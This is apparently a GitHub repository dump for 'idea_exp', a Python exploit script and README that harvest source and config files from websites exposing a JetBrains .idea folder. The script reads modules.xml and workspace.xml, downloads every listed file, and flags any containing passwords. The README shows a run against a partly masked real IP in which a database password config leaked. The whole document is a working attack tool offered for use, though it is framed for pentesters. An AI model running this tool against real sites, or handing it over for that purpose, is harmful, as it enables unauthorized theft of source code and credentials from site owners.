├── README.md ├── idea_exp.py └── images ├── contain_password.png └── scanner_pannel.png /README.md: -------------------------------------------------------------------------------- 1 | # **.idea disclosure exploit** 2 | 3 | A script use **.idea** folder to gather sensitive information for pentesters . 4 | 5 | Websites not correctly deployed let their IDE config folder (**.idea**) exposed to hacker, 6 | 7 | which can lead password or archived data files leaked. 8 | 9 | The scanner will try to download all files, please recheck local files by yourself. 10 | 11 | ## Requirements 12 | 13 | ``` 14 | pip install lxml requests 15 | ``` 16 | 17 | ## Requirements 18 | 19 | * 2022-08-05: Bug Fix and python3 support 20 | 21 | ## Example 22 | 23 | Our scanner reported a vulnerability this afternoon 24 | 25 | ![scanner_pannel](images/scanner_pannel.png) 26 | 27 | As you can see, the file **DbConnCfg.json** leaked db password. 28 | 29 | ``` 30 | D:\IQIYI.codebase\idea_exp>idea_exp.py http://107.{mask}.{mask}.151/ 31 | [+] Module name is {mask} 32 | [+] Type is web_module 33 | [+] About 67 urls to process 34 | [200] /cfg/DbConnCfg.json 35 | [200] /bi/applepay/comm.php 36 | [200] /bi/applepay/ipn_ios.php 37 | [404] /auth/auth_ios/auth_guest.php 38 | ... 39 | [200] /ver/ver_util.php 40 | All files saved to 107.{mask}.{mask}.151/idea_exp_report.html 41 | ``` 42 | 43 | ![contain_password](images/contain_password.png) -------------------------------------------------------------------------------- /idea_exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | 4 | from __future__ import print_function 5 | import sys 6 | import os 7 | import shutil 8 | import requests 9 | try: 10 | import urllib.parse as urlparse 11 | except Exception as e: 12 | import urlparse 13 | import re 14 | import webbrowser 15 | from lxml import etree 16 | from string import Template 17 | 18 | 19 | HTML_TPL = """ 20 | 21 | 22 | idea_exp scan report 23 | 24 | 37 | 38 | 39 |

${start_url}

40 | 43 | 44 | 45 | """ 46 | 47 | 48 | HTML_LI_TPL = """ 49 |
  • 50 | ${tips} ${title}${path} 51 | -> 52 |
  • 53 | """ 54 | 55 | 56 | class Scanner(object): 57 | def __init__(self, url): 58 | self.start_url = url 59 | self.session = requests.Session() 60 | self.session.verify = False 61 | self.module_name = '' 62 | self.module_type = '' 63 | self.path_lst = [] 64 | self.results = [] 65 | self.get_module_name() 66 | self.parse_workspace() 67 | 68 | def get_module_name(self): 69 | try: 70 | url = self.start_url + 'modules.xml' 71 | text = self.session.get(url, timeout=20).text 72 | if text.find('ProjectModuleManager') < 0: 73 | return 74 | root = etree.XML(text.encode('utf-8')) 75 | module = root.find('component').find('modules').find('module') 76 | file_url = module.get('fileurl') 77 | if not file_url: 78 | file_url = module.get('filepath') 79 | self.module_name = os.path.basename(file_url) 80 | if self.module_name: 81 | print('[+] Module name is', self.module_name[:-4]) 82 | self.get_module_type() 83 | except Exception as e: 84 | pass 85 | 86 | def get_module_type(self): 87 | try: 88 | url = self.start_url + self.module_name 89 | text = self.session.get(url, timeout=20).text 90 | root = etree.XML(text.encode('utf-8')) 91 | self.module_type = root.get('type').lower() 92 | print('[+] Type is', self.module_type) 93 | except Exception as e: 94 | pass 95 | 96 | def parse_workspace(self): 97 | try: 98 | url = self.start_url + 'workspace.xml' 99 | text = self.session.get(url, timeout=20).text 100 | if text.find('(.*?)', chunk) 159 | if m: 160 | ret['title'] = '[%s] ' % m.group(1).decode('utf-8') 161 | if chunk.lower().find(b'passw') > 0: 162 | ret['tips'] = '(Contain Password)' 163 | if out_file: 164 | out_file.close() 165 | self.results.append(ret) 166 | print('[%s] %s' % (r.status_code, path)) 167 | 168 | if self.results: 169 | tpl_html = Template(HTML_TPL) 170 | tpl_li = Template(HTML_LI_TPL) 171 | str_li = '' 172 | for r in self.results: 173 | str_li += tpl_li.substitute(r) 174 | with open(save_folder + '/idea_exp_report.html', 'wb') as f: 175 | f.write(tpl_html.substitute({'start_url': self.start_url, 'url_list': str_li}).encode('utf-8')) 176 | print('All files saved to ' + save_folder + '/idea_exp_report.html') 177 | webbrowser.open_new_tab(os.path.abspath(save_folder + '/idea_exp_report.html')) 178 | 179 | 180 | if __name__ == '__main__': 181 | if len(sys.argv) < 2: 182 | print("""idea_exp v1.0 (https://github.com/lijiejie/idea_exploit) 183 | 184 | Gather sensitive information from (.idea) folder for pentesters. Usage: 185 | 186 | python idea_exp.py http://example.com/.idea/ 187 | """) 188 | exit(0) 189 | url = sys.argv[1] 190 | if not url.lower().startswith('http'): 191 | url = 'http://' + url 192 | if url.rfind('.idea') > 0: 193 | url = url[:url.rfind('.idea')] + '.idea/' 194 | else: 195 | url = url.rstrip('/') + '/.idea/' 196 | 197 | s = Scanner(url) 198 | -------------------------------------------------------------------------------- /images/contain_password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/idea_exploit/4ffce5d39139b929ba246f427a10e2198f0d03d2/images/contain_password.png -------------------------------------------------------------------------------- /images/scanner_pannel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/idea_exploit/4ffce5d39139b929ba246f427a10e2198f0d03d2/images/scanner_pannel.png --------------------------------------------------------------------------------